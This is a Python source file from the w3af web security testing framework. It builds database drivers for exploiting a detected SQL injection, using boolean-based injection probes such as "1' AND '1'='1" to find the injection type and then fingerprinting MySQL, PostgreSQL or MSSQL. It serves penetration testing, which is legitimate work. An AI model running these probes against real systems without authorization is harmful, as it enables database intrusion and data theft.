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'''
dbDriverBuilder.py
Copyright 2006 Andres Riancho
This file is part of w3af, w3af.sourceforge.net .
w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.
w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
'''
import core.controllers.outputManager as om
from plugins.attack.db.mysqlmap import MySQLMap as mysqlmap
from plugins.attack.db.postgresqlmap import PostgreSQLMap as postgresqlmap
from plugins.attack.db.mssqlservermap import MSSQLServerMap as mssqlservermap
#from plugins.attack.db.mysqlmap import db2 as db2
from core.controllers.w3afException import w3afException
class dbDriverBuilder:
'''
This class is a builder for database drivers.
@author: Andres Riancho ( andres.riancho@gmail.com )
'''
def __init__( self , urlOpener, cmpFunction ):
'''
cmpFunction is the function to be used to compare two strings.
'''
self._urlOpener = urlOpener
self._cmpFunction = cmpFunction
def _getType( self, vuln ):
'''
Determine how to escape the sql injection
'''
exploitDc = vuln.getDc()
exploitDc[ vuln.getVar() ] = "'z'z'z'"
functionReference = getattr( self._urlOpener , vuln.getMethod() )
errorResponse = functionReference( vuln.getURL(), str(exploitDc) )
for escape, type in [ ('\'','stringsingle') , ('"','stringdouble'), (' ','numeric')]:
exploitDc[ vuln.getVar() ] = '1' + escape + ' AND ' + escape + '1' + escape + '=' + escape + '1'
response = functionReference( vuln.getURL(), str(exploitDc) )
if response.getBody() != errorResponse.getBody():
vuln['type'] = type
om.out.debug('[INFO] The injection type is: ' + type )
return vuln
om.out.error('Could not find SQL injection type.')
return None
def getDriverForVuln( self, vuln ):
'''
@return: A database driver for the vuln passed as parameter.
'''
if 'type' not in vuln:
vuln = self._getType( vuln )
if vuln == None:
return None
driverList = []
driverList.append( mysqlmap( self._urlOpener, self._cmpFunction, vuln ) )
driverList.append( postgresqlmap( self._urlOpener, self._cmpFunction, vuln ) )
driverList.append( mssqlservermap( self._urlOpener, self._cmpFunction, vuln ) )
#driverList.append( db2( self._urlOpener, vuln ) )
for driver in driverList:
if driver.checkDbms():
return driver
return None
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